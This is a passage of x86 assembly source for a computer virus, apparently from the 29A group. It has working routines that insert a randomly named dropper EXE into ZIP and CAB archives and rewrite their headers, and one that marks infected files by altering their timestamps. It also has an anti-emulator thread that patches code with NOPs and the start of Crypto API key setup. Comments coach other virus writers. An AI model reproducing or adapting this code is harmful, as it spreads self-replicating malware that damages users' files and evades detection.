mov ecx,[ebp+__iZIP_dFSize] ;number of bytes to read
|
||
mov edx,[ebp+__iZIP_dMemory];destination buffer
|
||
xor esi,esi ;file pos
|
||
mov ebx,[ebp+__iZIP_dHandle]
|
||
call __MyReadFile
|
||
|
||
; get dropper's start of header and its length
|
||
mov esi,[ebp+__iZIP_dMemory]
|
||
add esi,[ebp+__iZIP_dFSize]
|
||
mov ecx,[esi-0000000Ah] ;length of 2nd header
|
||
sub esi,ZIPEHeaderSize ;esi = header
|
||
sub esi,ecx
|
||
mov [ebp+__iZIP_dHSize],ecx
|
||
push esi
|
||
|
||
; allocate memory for archive header + new header
|
||
mov eax,[ebp+ZIPSizeDir]
|
||
add eax,ecx
|
||
call malloc
|
||
mov [ebp+__iZIP_fHeaders],eax
|
||
|
||
; read them to the buffer
|
||
mov ecx,[ebp+ZIPSizeDir] ;number of bytes to read
|
||
add ecx,ZIPEHeaderSize ;include 3rd table as well
|
||
mov edx,eax ;destination place
|
||
mov esi,[ebp+ZIPOffsetDir] ;file pos
|
||
mov ebx,[ebp+__iZIP_fHandle]
|
||
call __MyReadFile
|
||
jc __iZIP_dealloc
|
||
|
||
; get actual files in archive
|
||
movzx ecx,word ptr [ebp+ZIPEntrysDir]
|
||
|
||
; and select my new position :)
|
||
lea eax,[ecx+00000001h]
|
||
call ppe_get_rnd_range
|
||
sub ecx,eax
|
||
push ecx
|
||
xchg eax,ecx
|
||
|
||
; get my future offset if I'll be in the end
|
||
mov eax,[ebp+ZIPOffsetDir]
|
||
not eax
|
||
mov [ebp+__iZIP_fNewDPos],eax
|
||
|
||
; seek on my new position in the headers
|
||
mov esi,[ebp+__iZIP_fHeaders]
|
||
__iZIP_search_1:
|
||
jecxz __iZIP_sEnd_1
|
||
add esi,ZIPRScanSize1 ;seek on FileNameSize
|
||
movzx eax,word ptr [esi] ; + filename length
|
||
add ax,word ptr [esi+2] ; + extra field
|
||
add esi,eax
|
||
add esi,ZIPRScanSize2 ;seek on text file folder
|
||
loop __iZIP_search_1
|
||
__iZIP_sEnd_1:
|
||
|
||
pop ecx ;how many folders change ?
|
||
push esi ;my new place for header
|
||
__iZIP_search_2:
|
||
jecxz __iZIP_sEnd_2
|
||
add esi,ZIPRScanSize1 + \
|
||
ZIPRScanSize3
|
||
test dword ptr [ebp+__iZIP_fNewDPos],0F0000000h
|
||
jz __iZIP_search_2_next
|
||
mov eax,[esi]
|
||
mov [ebp+__iZIP_fNewDPos],eax
|
||
__iZIP_search_2_next:
|
||
mov eax,[ebp+__iZIP_dFSize] ;== fbody+2nd+3rd table
|
||
sub eax,ZIPEHeaderSize ;== - 3rd table
|
||
sub eax,[ebp+__iZIP_dHSize] ;== - dropper's header size
|
||
add [esi],eax
|
||
add esi,[esi-ZIPRScanSize3] ;add FileNameSize
|
||
add esi,00000004h
|
||
loop __iZIP_search_2
|
||
__iZIP_sEnd_2:
|
||
|
||
; get number of bytes to move
|
||
mov ecx,esi
|
||
pop esi ;my new place
|
||
sub ecx,esi ;number of bytes to move
|
||
add ecx,ZIPEHeaderSize ;include last table as well
|
||
mov edi,esi ;"almost" destination
|
||
add edi,[ebp+__iZIP_dHSize] ;dropper's header length
|
||
push esi
|
||
call __movsd_back
|
||
pop edi
|
||
|
||
; copy my new table, it means: "update header", please :)
|
||
mov ecx,[ebp+__iZIP_dHSize]
|
||
pop esi ;start of dropper's header
|
||
push edi
|
||
rep movsb
|
||
pop edi
|
||
|
||
; change this copied header
|
||
add edi,ZIPRScanSize1 + ZIPRScanSize3
|
||
mov eax,[ebp+__iZIP_fNewDPos]
|
||
test eax,0F0000000h ;only if it is last "section"
|
||
jz $+4
|
||
not eax
|
||
mov [ebp+__iZIP_fNewDPos],eax
|
||
mov [edi],eax ;start of data
|
||
mov ecx,eax
|
||
|
||
; allocate memory for archive body
|
||
mov ebx,[ebp+__iZIP_fHandle]
|
||
call __MyGetFileSize
|
||
sub eax,ecx ;sub start of data
|
||
mov edx,eax
|
||
add eax,[ebp+__iZIP_dFSize]
|
||
sub eax,[ebp+__iZIP_dHSize] ;dropper's header length
|
||
sub eax,ZIPEHeaderSize ;3rd tablee
|
||
call malloc
|
||
mov [ebp+__iZIP_fMemory],eax
|
||
|
||
; read part of archive file to the memory
|
||
mov esi,ecx ;file position
|
||
mov ecx,edx ;number of bytes to read
|
||
mov edx,[ebp+__iZIP_dHSize] ;dropper's header length
|
||
neg edx ;this was fucking bug !
|
||
add edx,[ebp+__iZIP_dFSize]
|
||
sub edx,ZIPEHeaderSize ;i don't want 3rd table
|
||
mov edi,edx ;dropper's compressed body
|
||
add edx,[ebp+__iZIP_fMemory];destination place
|
||
mov ebx,[ebp+__iZIP_fHandle]
|
||
call __MyReadFile
|
||
jc __iZIP_dealloc
|
||
|
||
; copy my compressed dropper before reader data
|
||
mov edx,ecx
|
||
mov ecx,edi ;dropper's compressed body s.
|
||
mov ebx,ecx
|
||
mov esi,[ebp+__iZIP_dMemory]
|
||
mov edi,[ebp+__iZIP_fMemory]
|
||
rep movsb ;"update" archive :)
|
||
|
||
; copy my changed headers behind compressed datas
|
||
add edi,edx ;in the end of file
|
||
sub edi,[edi-0000000Ah] ;length of the 2nd table
|
||
sub edi,ZIPEHeaderSize ; - 3rd table
|
||
mov esi,[ebp+__iZIP_fHeaders]
|
||
__iZIP_replace:
|
||
cmp [esi],06054B50h ;'PK',05,06 ? Last table ?
|
||
jz __iZIP_replace_finish
|
||
lodsb
|
||
stosb
|
||
jmp __iZIP_replace
|
||
__iZIP_replace_finish:
|
||
mov ecx,ZIPEHeaderSize ;copy last table
|
||
rep movsb
|
||
|
||
; change last table
|
||
add [edi-00000006h],ebx ;archive size + dropper body
|
||
mov ecx,[ebp+__iZIP_dHSize] ;dropper's header length
|
||
add [edi-0000000Ah],ecx ;change ZIPSizeDir
|
||
inc word ptr [edi-0000000Eh];increase ZIPEntryDisk
|
||
inc word ptr [edi-0000000Ch];increase ZIPEntryDir
|
||
|
||
; "update" archive file body
|
||
mov edx,[ebp+__iZIP_fMemory]
|
||
mov ecx,edi
|
||
sub ecx,edx
|
||
mov esi,[ebp+__iZIP_fNewDPos]
|
||
mov ebx,[ebp+__iZIP_fHandle]
|
||
call __MyWriteFile
|
||
|
||
; archive has been infected
|
||
mov ebx,[ebp+__iZIP_fHandle]
|
||
call __set_archive_infected
|
||
|
||
__iZIP_dealloc:
|
||
mov eax,[ebp+__iZIP_fMemory]
|
||
call mdealloc
|
||
mov eax,[ebp+__iZIP_fHeaders]
|
||
call mdealloc
|
||
mov eax,[ebp+__iZIP_dMemory]
|
||
call mdealloc
|
||
|
||
mov ebx,[ebp+__iZIP_dHandle]
|
||
call __MyCloseFile
|
||
|
||
__iZIP_fClose:
|
||
mov ebx,[ebp+__iZIP_fHandle]
|
||
call __MyCloseFile
|
||
|
||
__iZIP_finish:
|
||
ret
|
||
|
||
;ÄÄÄ´ infection in CAB archivez ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
;---------------------------------------------------------
|
||
;This function infects Microsoft CAB archivez. The way of
|
||
;infection is the most difficult of all archivez here.Why?
|
||
;Micro$hit CAB format is too stupid, I cannot compress my
|
||
;dropper because I don't know any DLL which support this.
|
||
;Although Windows has some Extrac32 and so on. If you want
|
||
;to know more about CAB infection, download my tutorial on
|
||
;web: http://prizzy.cjb.net (download section, of course).
|
||
;
|
||
; input: filename_ptr ... pointer to a CAB's file
|
||
; NewCAB.dropper . name of EXE
|
||
;
|
||
__iCAB_fHandle dd 00000000h ;archive's handle
|
||
__iCAB_fFSize dd 00000000h ;archive's file size
|
||
__iCAB_fMemory dd 00000000h ;archive's body+hdrs
|
||
|
||
__iCAB_dHandle dd 00000000h ;dropper's handle
|
||
__iCAB_dFSize dd 00000000h ;dropper's file size
|
||
|
||
__iCAB_nChars dd 00000000h ;chars of new name
|
||
__iCAB_myFolder dd 00000000h ;my new folder
|
||
;
|
||
infect_CAB:
|
||
|
||
; check whether dropper exists
|
||
cmp [ebp+NewCAB.dropper],00000000h
|
||
jz __iCAB_finish
|
||
|
||
; open archive file
|
||
mov edx,[ebp+filename_ptr]
|
||
call __MyOpenFile
|
||
jc __iCAB_finish
|
||
mov [ebp+__iCAB_fHandle],eax
|
||
|
||
; check whether archive has been infected
|
||
mov ebx,[ebp+__iCAB_fHandle]
|
||
call __get_archive_infected
|
||
jc __iCAB_fClose
|
||
|
||
; get archive file size
|
||
mov ebx,[ebp+__iCAB_fHandle]
|
||
call __MyGetFileSize
|
||
mov [ebp+__iCAB_fFSize],eax
|
||
|
||
; open dropper file
|
||
mov edx,[ebp+NewCAB.dropper]
|
||
call __MyOpenFile
|
||
jc __iCAB_fClose
|
||
mov [ebp+__iCAB_dHandle],eax
|
||
|
||
; get dropper's file size
|
||
mov ebx,[ebp+__iCAB_dHandle]
|
||
call __MyGetFileSize
|
||
mov [ebp+__iCAB_dFSize],eax
|
||
|
||
; generate dropper's name
|
||
lea edi,[ebp+CABf_FileName]
|
||
call generate_name
|
||
mov [ebp+__iCAB_nChars],eax
|
||
|
||
; allocate memory for whole file
|
||
mov eax,[ebp+__iCAB_fFSize]
|
||
add eax,[ebp+__iCAB_dFSize]
|
||
add eax,(CABe_Compr_data - CAB_directory_start) - (8+1+3)
|
||
add eax,[ebp+__iCAB_nChars]
|
||
call malloc
|
||
mov [ebp+__iCAB_fMemory],eax
|
||
|
||
; read archive's headers to buffer
|
||
mov edx,[ebp+__iCAB_fMemory]
|
||
mov ecx,[ebp+__iCAB_fFSize] ;number of bytes to read
|
||
xor esi,esi ;file position
|
||
mov ebx,[ebp+__iCAB_fHandle];file handle
|
||
call __MyReadFile
|
||
jc __iCAB_dClose
|
||
|
||
; check archive's header
|
||
mov edi,[ebp+__iCAB_fMemory]
|
||
cmp [edi],'FCSM' ;"MSCF" signature ?
|
||
jnz __iCAB_dClose
|
||
cmp word ptr [edi]. \
|
||
(CABh_VersionMin - CAB_h_struct),0103h
|
||
jnz __iCAB_dClose
|
||
|
||
; get volume number - I want only 1st volume
|
||
cmp word ptr [edi]. \
|
||
(CABh_Number - CAB_h_struct),0000h
|
||
jnz __iCAB_dClose
|
||
|
||
; set ESI on the first entry
|
||
movzx esi,word ptr [edi]. (CABh_FirstRec - CAB_h_struct)
|
||
add esi,[ebp+__iCAB_fMemory]
|
||
|
||
; modify folder's starts
|
||
push esi
|
||
movzx ebx,word ptr [edi]. (CABh_nFolders - CAB_h_struct)
|
||
__iCAB_modify:
|
||
or ebx,ebx
|
||
jz __iCAB_modified
|
||
sub esi,(CAB_file_start - CAB_directory_start)
|
||
mov eax,(CAB_entry - CAB_directory_start) - (8+1+3)
|
||
add eax,[ebp+__iCAB_nChars]
|
||
add dword ptr [esi]. \
|
||
(CABd_FirstRec - CAB_directory_start),eax
|
||
dec ebx
|
||
jmp __iCAB_modify
|
||
__iCAB_modified:
|
||
pop esi
|
||
|
||
; make place for new folder
|
||
push edi
|
||
mov edi,esi
|
||
add edi,(CAB_file_start - CAB_directory_start)
|
||
mov ecx,[ebp+__iCAB_fFSize]
|
||
add ecx,[ebp+__iCAB_fMemory]
|
||
sub ecx,esi
|
||
call __movsd_back
|
||
pop edi
|
||
|
||
; save offset - ESI=place of the new folder
|
||
add esi,00000004h
|
||
mov [ebp+__iCAB_myFolder],esi ;modify later
|
||
|
||
; get number of files and calculate my new file position
|
||
movzx eax,word ptr [edi]. (CABh_nFiles - CAB_h_struct)
|
||
push eax
|
||
call ppe_get_rnd_range
|
||
inc eax
|
||
xchg eax,edx
|
||
push edx
|
||
|
||
; modify all file structs in CAB archive
|
||
add esi,(CAB_file_start - CAB_directory_start)
|
||
push edi
|
||
mov edi,esi
|
||
__iCAB_search:
|
||
or edx,edx
|
||
jz __iCAB_searched
|
||
add edi,(CABf_FileName - CAB_file_start)
|
||
mov ecx,-1
|
||
xor al,al
|
||
repnz scasb
|
||
dec edx
|
||
jmp __iCAB_search
|
||
__iCAB_searched:
|
||
mov esi,edi
|
||
pop edi
|
||
|
||
; update file in folder
|
||
mov dx,[edi].(CABh_nFolders - CAB_h_struct)
|
||
|
||
; make place for new file struct
|
||
push edi
|
||
mov edi,esi
|
||
add edi,(CAB_entry - CAB_file_start) - (8+1+3)
|
||
add edi,[ebp+__iCAB_nChars] ;new file name length
|
||
mov ecx,[ebp+__iCAB_fFSize]
|
||
add ecx,[ebp+__iCAB_fMemory]
|
||
add ecx,(CAB_file_start - CAB_directory_start)
|
||
sub ecx,esi
|
||
call __movsd_back
|
||
|
||
; set some values to file header
|
||
mov eax,[ebp+__iCAB_dFSize] ;drropper's file size
|
||
mov word ptr [ebp+CABe_Compr],ax
|
||
mov word ptr [ebp+CABe_UnCompr],ax
|
||
mov [ebp+CABf_UnCompSize],eax
|
||
|
||
; save offset of the file struct
|
||
add esi,00000004h
|
||
mov edi,esi
|
||
lea esi,[ebp+CAB_file_start]
|
||
mov [esi].(CABf_Flags - CAB_file_start),dx
|
||
mov ecx,(CAB_entry - CAB_file_start) - (8+1+3)
|
||
add ecx,[ebp+__iCAB_nChars]
|
||
rep movsb
|
||
mov esi,edi
|
||
pop edi
|
||
|
||
; modify files - ESI=next file struct
|
||
pop edx
|
||
pop ebx
|
||
sub ebx,edx ;files to modify
|
||
push edi
|
||
mov edi,esi
|
||
__iCAB_search_2:
|
||
or ebx,ebx
|
||
jz __iCAB_searched_2
|
||
add edi,(CABf_FileName - CAB_file_start)
|
||
mov ecx,-1
|
||
xor al,al
|
||
repnz scasb
|
||
dec ebx
|
||
jmp __iCAB_search_2
|
||
__iCAB_searched_2:
|
||
pop edi
|
||
|
||
; change CAB header
|
||
inc word ptr [edi]. \ ;add new folder
|
||
(CABh_nFolders - CAB_h_struct)
|
||
inc word ptr [edi]. \ ;add new files
|
||
(CABh_nFiles - CAB_h_struct)
|
||
add dword ptr[edi]. \
|
||
(CABh_FirstRec - CAB_h_struct), \
|
||
CAB_file_start - CAB_directory_start
|
||
mov eax,[ebp+__iCAB_dFSize]
|
||
add eax,[ebp+__iCAB_nChars]
|
||
add eax,(CAB_entry - CAB_file_start) - (8+1+3)
|
||
add dword ptr[edi]. \
|
||
(CABh_FileSize - CAB_h_struct),eax
|
||
|
||
; change folder's values
|
||
mov edi,[ebp+__iCAB_myFolder]
|
||
mov eax,[ebp+__iCAB_fFSize]
|
||
add eax,(CAB_entry - CAB_directory_start) - (8+1+3)
|
||
add eax,[ebp+__iCAB_nChars]
|
||
mov [edi],eax ;offset to the 1st entry
|
||
mov word ptr [edi+4],0001h ;number of blocks
|
||
mov word ptr [edi+6],0000h ;type of compress
|
||
|
||
; create new block and copy dropper
|
||
mov edi,[ebp+__iCAB_fMemory]
|
||
add edi,[ebp+__iCAB_fFSize]
|
||
add edi,(CAB_entry - CAB_directory_start) - (8+1+3)
|
||
add edi,[ebp+__iCAB_nChars]
|
||
lea esi,[ebp+CAB_entry] ;create new block
|
||
mov ecx,(CABe_Compr_data - CAB_entry)
|
||
rep movsb
|
||
|
||
mov edx,edi ;copy my dropper
|
||
mov ecx,[ebp+__iCAB_dFSize]
|
||
xor esi,esi
|
||
mov ebx,[ebp+__iCAB_dHandle]
|
||
call __MyReadFile
|
||
jc __iCAB_dClose
|
||
|
||
; "update" headers + whole file + dropper
|
||
mov edx,[ebp+__iCAB_fMemory]
|
||
add ecx,edi
|
||
sub ecx,edx
|
||
xor esi,esi
|
||
mov ebx,[ebp+__iCAB_fHandle]
|
||
call __MyWriteFile
|
||
|
||
; archive has been infected
|
||
mov ebx,[ebp+__iCAB_fHandle]
|
||
call __set_archive_infected
|
||
|
||
__iCAB_dClose:
|
||
mov eax,[ebp+__iCAB_fMemory]
|
||
call mdealloc
|
||
mov ebx,[ebp+__iCAB_dHandle]
|
||
call __MyCloseFile
|
||
__iCAB_fClose:
|
||
mov ebx,[ebp+__iCAB_fHandle]
|
||
call __MyCloseFile
|
||
|
||
__iCAB_finish:
|
||
ret
|
||
|
||
;ÄÄÄ´ common archivez operations ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
;---------------------------------------------------------
|
||
;Check whether archive has been infected. This function
|
||
;reads its time and calculate whether isn't divided by
|
||
;magic number (for this virus it is 117).
|
||
;
|
||
; input:
|
||
; EBX ... file handle
|
||
; output:
|
||
; CFlags
|
||
;
|
||
__get_archive_infected:
|
||
|
||
; get archive file time
|
||
lea eax,[ebp+FileTime]
|
||
push eax ;LastWriteTime
|
||
push 00000000h ;LastAccessTime
|
||
push 00000000h ;CreationTime
|
||
push ebx ;file handle
|
||
call [ebp+ddGetFileTime]
|
||
or eax,eax
|
||
jz __gai_failed
|
||
|
||
; convert "FileTime" to "SystemTime"
|
||
lea eax,[ebp+SystemTime] ;SystemTime structure
|
||
push eax
|
||
lea eax,[ebp+FileTime] ;FileTime structure
|
||
push eax
|
||
call [ebp+ddFileTimeToSystemTime]
|
||
|
||
; hours, minutes, seconds, milliseconds add up
|
||
lea esi,word ptr [ebp+SystemTime]
|
||
mov ecx,(size SystemTime - 2) / 2
|
||
xor ebx,ebx
|
||
__gai_calculate:
|
||
lodsw
|
||
add ebx,eax
|
||
dec ecx
|
||
jnz __gai_calculate
|
||
sub ebx,1990
|
||
sub bx,word ptr [ebp+SystemTime.wDayOfWeek]
|
||
|
||
xchg eax,ebx
|
||
call __check_infected
|
||
jnc __gai_failed
|
||
|
||
test al,0F9h ;hidden STC instruction
|
||
__gai_failed equ $-1
|
||
ret
|
||
|
||
;---------------------------------------------------------
|
||
;This function set 117 value among Year, Month, Day, Hour,
|
||
;Minute and Second value by FileTime. At first I will put
|
||
;random values there and then I will modify it once again.
|
||
;
|
||
; input:
|
||
; EBX ... file handle
|
||
;
|
||
|
||
; TimeBuffer:
|
||
; 1st value = offset in SystemTime struct
|
||
; 2nd value = max of generate number
|
||
; 3rd value = increase generate number
|
||
__sai_TimeBuffer db 0,10,0, 2,12,1, 6,30,1, 8,24,0
|
||
db 10,60,0, 12,60,0
|
||
__sai_counter dd 00000000h
|
||
;
|
||
__set_archive_infected:
|
||
|
||
push ebx
|
||
|
||
; divide that number to Year, Month, Day, Hour, Minute...
|
||
__sai_restart:
|
||
lea edi,[ebp+__sai_TimeBuffer]
|
||
lea edx,[ebp+SystemTime]
|
||
mov esi,117
|
||
xor ecx,ecx
|
||
__sai_again:
|
||
movzx ebx,byte ptr [edi+ecx] ;offset in SystemTime struct
|
||
movzx eax,byte ptr [edi+ecx+1];generate number
|
||
call ppe_get_rnd_range
|
||
cmp byte ptr [edi+ecx+2],1
|
||
jnz __sai_loop
|
||
inc eax
|
||
__sai_loop:
|
||
mov [edx+ebx],ax
|
||
sub esi,eax
|
||
add ecx,3
|
||
cmp ecx,3*6
|
||
jnz __sai_again
|
||
|
||
; only even seconds
|
||
test [ebp+SystemTime].wSecond,1
|
||
jnz __sai_restart
|
||
|
||
test esi,80000000h
|
||
jnz __sai_restart
|
||
or esi,esi
|
||
jz __sai_continue
|
||
|
||
; increase/decrease some value from SystemTime
|
||
__sai_next_loop:
|
||
lea edi,[ebp+__sai_TimeBuffer]
|
||
lea edx,[ebp+SystemTime]
|
||
__sai_new_value:
|
||
mov [ebp+__sai_counter],2 ;disable Year
|
||
__sai_next_value:
|
||
xor ecx,ecx ;start of scaning
|
||
__sai_next_round:
|
||
add ecx,3 ;disable Year or
|
||
movzx eax,byte ptr [edi+ecx] ;next value
|
||
movzx ebx,byte ptr [edi+ecx+1]
|
||
cmp eax,[ebp+__sai_counter] ;the right value
|
||
jnz __sai_next_round
|
||
dec bx ;'ceuse of gen. n.
|
||
cmp [edx+eax],bx
|
||
jz __sai_fulled
|
||
|
||
inc word ptr [edx+eax] ;increase value
|
||
dec esi ;decrease counter
|
||
|
||
__sai_fulled:
|
||
or esi,esi ;finish ?
|
||
jz __sai_continue
|
||
__sai_disable_value:
|
||
add [ebp+__sai_counter],00000002h ;next value in ST
|
||
cmp [ebp+__sai_counter],00000004h ;"Day Of Week" value?
|
||
jz __sai_disable_value ;if yes, disable it
|
||
cmp [ebp+__sai_counter],0000000Ch ;"Second" value ?
|
||
jz __sai_disable_value ;if yes, disable it
|
||
|
||
cmp [ebp+__sai_counter],7*2 ;end of table ?
|
||
jnz __sai_next_value
|
||
jmp __sai_new_value
|
||
|
||
__sai_continue:
|
||
xor eax,eax
|
||
mov [ebp+SystemTime].wMilliseconds,ax
|
||
add [ebp+SystemTime].wYear,1990
|
||
|
||
; convert "SystemTime" to "FileTime"
|
||
lea eax,[ebp+FileTime] ;FileTime structure
|
||
push eax
|
||
lea eax,[ebp+SystemTime] ;SystemTime structure
|
||
push eax
|
||
call [ebp+ddSystemTimeToFileTime]
|
||
|
||
; set FileTime
|
||
pop ebx ;file handle
|
||
lea eax,[ebp+FileTime]
|
||
push eax ;LastWriteTime
|
||
push 00000000h ;LastAccessTime
|
||
push 00000000h ;CreationTime
|
||
push ebx ;file handle
|
||
call [ebp+ddSetFileTime]
|
||
or eax,eax
|
||
jz __sai_failed
|
||
|
||
__sai_failed:
|
||
ret
|
||
|
||
;---------------------------------------------------------
|
||
;This function generates FileName to archive.
|
||
;
|
||
; input:
|
||
; EDI ... where put new name (maximum=8+1+3)
|
||
; output:
|
||
; EAX ... filename length
|
||
;
|
||
generate_name:
|
||
pusha
|
||
cld
|
||
lea esi,[ebp+gen_archive_filename]
|
||
mov eax,gen_archive_number
|
||
call ppe_get_rnd_range
|
||
mov ecx,eax
|
||
name_search:
|
||
jecxz name_found
|
||
movzx eax,byte ptr [esi+1]
|
||
add eax,00000002h
|
||
add esi,eax
|
||
dec ecx
|
||
jmp name_search
|
||
name_found:
|
||
mov ebx,edi
|
||
mov al,byte ptr [esi]
|
||
call gen_spec_char
|
||
no_gen_1:
|
||
movzx ecx,byte ptr [esi+1]
|
||
add esi,00000002h
|
||
rep movsb
|
||
|
||
call gen_spec_char
|
||
mov eax,'exe.'
|
||
mov [edi],eax
|
||
add edi,4
|
||
mov edx,edi
|
||
sub edx,ebx
|
||
|
||
mov ecx,8+1+3
|
||
sub ecx,edx
|
||
xor al,al
|
||
rep stosb
|
||
|
||
movzx edx,dl
|
||
mov [esp].access_eax,edx
|
||
popa
|
||
ret
|
||
|
||
gen_spec_char:
|
||
or al,al
|
||
jz char_exit
|
||
mov eax,00000002h
|
||
call ppe_get_rnd_range
|
||
or al,al
|
||
jz char_exit
|
||
mov byte ptr [edi],'!'
|
||
inc edi
|
||
char_exit:
|
||
ret
|
||
|
||
;---------------------------------------------------------
|
||
;This function copy source place to destination. So that
|
||
;it is MOVSD instruction with STD flag.
|
||
;
|
||
; input:
|
||
; ESI ... source place in memory
|
||
; EDI ... destination place in memory
|
||
; ECX ... number bytes to move
|
||
;
|
||
;Note: ESI, EDI ain't real addresses- to understand see on
|
||
; the first four instructions.
|
||
;
|
||
__movsd_back:
|
||
add esi,ecx ;This code has been stolen
|
||
dec esi ;from CiA 1.50 sources.
|
||
add edi,ecx
|
||
dec edi ;(c)oded by Dement
|
||
std ;dement@email.cz
|
||
shr ecx,01h
|
||
jnc __mb_nomovsb
|
||
movsb
|
||
__mb_nomovsb:
|
||
jz __mb_finish
|
||
dec esi
|
||
dec edi
|
||
shr ecx,01h
|
||
jnc __mb_nomovsw
|
||
movsw
|
||
jz __mb_finish
|
||
__mb_nomovsw:
|
||
sub esi,00000002h
|
||
sub edi,00000002h
|
||
rep movsd ;copy me - I wanna travel
|
||
__mb_finish:
|
||
cld
|
||
ret
|
||
|
||
;ÄÄÄ´ function to actualize compressed programs ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
;---------------------------------------------------------
|
||
;This function was called itself from Hyper Infection and
|
||
;it means the extension has been found.
|
||
;
|
||
; input: EDX ... file name
|
||
; EAX ... input parameter (pointer into table)
|
||
; EBX ... next filename in HyperTable
|
||
archive_act:
|
||
|
||
; for more information about EAX (tables), find "AProgram"
|
||
; structure
|
||
|
||
; save registers & load EAX parameter
|
||
pusha
|
||
mov esi,eax
|
||
add esi,ebp
|
||
|
||
; calculate filename length and allocate memory
|
||
call __get_last_char
|
||
sub edi,edx
|
||
push edi ;filename length
|
||
add edi,filename_size
|
||
|
||
mov eax,edi
|
||
call malloc
|
||
mov [esi.program],eax ;save destination place
|
||
|
||
; copy filename there
|
||
mov esi,edx
|
||
mov edi,eax
|
||
pop ecx ;filename length
|
||
rep movsb
|
||
|
||
; disable this archive program
|
||
mov byte ptr [ebx-HyperTable_HalfSize],01h
|
||
|
||
; restore registers
|
||
popa
|
||
ret
|
||
|
||
;ÄÄÄ´ threads ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
;------------------------------------------------------------------------
|
||
; Anti-emulators:
|
||
;
|
||
; Welcome everybody who wanna use this method in your viruses. At first
|
||
; I hope you know whats "thread" and "fiber" (see Benny's tutorial). So
|
||
; you active "__thread_1" which it'll patch your original code on NOPs,
|
||
; and after that, who will write that original code there ?
|
||
;
|
||
; __thread_1_begin:
|
||
; jmp $ ;instead this will be NOPs
|
||
;
|
||
; And by "@ANTI_E_START" macro you will PUSH that original values and
|
||
; then by "@ANTI_E_FINISH" you will restore those values. Try to debug
|
||
; this source and you'll understand it or send me mail.
|
||
;
|
||
|
||
;--------------------------------------------------------
|
||
;This thread rewrite some bytes. Common anti-emulator.
|
||
;
|
||
; (__MyCreateThread)
|
||
; input:
|
||
; EAX ... address of this function (__thread_1)
|
||
; EBX ... information
|
||
; * upper imm8 reg ... bytes to patch
|
||
; * where from here (offset)
|
||
;
|
||
__thread_1:
|
||
push eax ecx ebp
|
||
call get_base_ebp
|
||
mov eax,[esp+00000010h] ;get thread parameter
|
||
mov ecx,eax
|
||
shr ecx,18h ;get last imm8 reg
|
||
and eax,00FFFFFFh
|
||
add eax,ebp
|
||
__thread_1_loop:
|
||
mov byte ptr [eax],90h ;patch it
|
||
inc eax ;next byte to patch :)
|
||
loop __thread_1_loop
|
||
pop ebp ecx eax
|
||
ret
|
||
|
||
;ÄÄÄ´ function to Win32 Cryptography APIs startup ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
;---------------------------------------------------------
|
||
;At last, at last I start to code this function, at last !
|
||
;So, at first I must check if "Prizzy/29A" key exists. If
|
||
;not, I must create it. Also I'll check whether Crypto API
|
||
;functions exists in "ADVAPI32.DLL" file because they are
|
||
;from "Windows 95, OEM Service Release 2" and WinNT, sure!
|
||
;I cant also decrypt DLL files on network's disks because
|
||
;I must store CSP cryptography key in register class and
|
||
;on those disks I couldn't load that CSP public/simple key
|
||
;from that register. But it does not matter because I can
|
||
;infect EXE files on network's disks. Hehehe - Im perfect!
|
||
;
|
||
crypto_startup:
|
||
|
||
mov [ebp+crypto_Action ],00000000h
|
||
mov [ebp+crypto_loadKey ],00000000h
|
||
mov [ebp+crypto_Provider],00000000h
|
||
|
||
; check if cryptography functions has been found...
|
||
cmp [ebp+ddCryptAcquireContextA],00000000h
|
||
jz __cs_fault
|
||
|
||
; get if crypto key exists in registers...
|
||
push 00000000h ;Flags
|
||
push 00000001h ;PROV_RSA_FULL
|
||
push 00000000h ;provider name
|
||
lea eax,[ebp+crypto_KeyName]
|
||
push eax ;my special key
|
||
lea eax,[ebp+crypto_Provider]
|
||
push eax ;CSP provider
|
||
call [ebp+ddCryptAcquireContextA]
|
||
or eax,eax ;does key exist ?
|
||
jnz __cs_continue
|
||
|
||
; create new key
|
||
push 00000008h ;CRYPT_NEWKEYSET
|
||
push 00000001h ;PROV_RSA_FULL
|
||
push 00000000h ;provider name
|
||
lea eax,[ebp+crypto_KeyName]
|
||
push eax ;my special key
|
||
lea eax,[ebp+crypto_Provider]
|
||
push eax ;CSP provider
|
||
call [ebp+ddCryptAcquireContextA]
|
||
or eax,eax
|
||
jz __cs_fault
|
||
|
||
; register folder "Prizzy/29A" has been created or opened
|
||
; now, check whether I have to generate CPS key
|
||
__cs_continue:
|
||
call __cs_created_key
|
||
jc __cs_fault
|
||
|
||
; generate CSP key for my... for my... for my purpose {:-)
|
||
lea eax,[ebp+crypto_Key]
|
||
push eax ;key's value
|
||
push 00000001h ;CRYPT_EXPORTABLE
|
||
push 00000001h ;AT_KEYEXCHANGE
|
||
push [ebp+crypto_Provider]
|
||
call [ebp+ddCryptGenKey] ;generate key
|
||
or eax,eax
|
||
jz __cs_fault
|
||
|
||
; get handle to the key exchange
|
||
lea eax,[ebp+crypto_XchgKey]
|
||
push eax
|
||
push 00000001h ;AT_KEYEXCHANGE
|
||
push [ebp+crypto_Provider]
|
||
call [ebp+ddCryptGetUserKey]
|
||
|
||
; get a random block cipher session key
|
||
lea eax,[ebp+crypto_Key]
|
||
push eax
|
||
push 00000001h ;CRYPT_EXPORTABLE
|
||
push 00006602h ;CALG_RC2
|
||
push [ebp+crypto_Provider]
|
||
call [ebp+ddCryptGenKey]
|
||
|
||
; determine size of key blob and allocate memory
|
||
lea eax,[ebp+crypto_BlobLen]
|
||
push eax
|
||
push 00000000h
|
||
push 00000000h
|
||
push 00000001h ;SIMPLEBLOB
|
||
push [ebp+crypto_XchgKey]
|
||
push [ebp+crypto_Key]
|
||
call [ebp+ddCryptExportKey] ;get simple blob key length
|
||
|
||
; allocate memory for SIMPLE key (maximum 256 bytes)
|
||
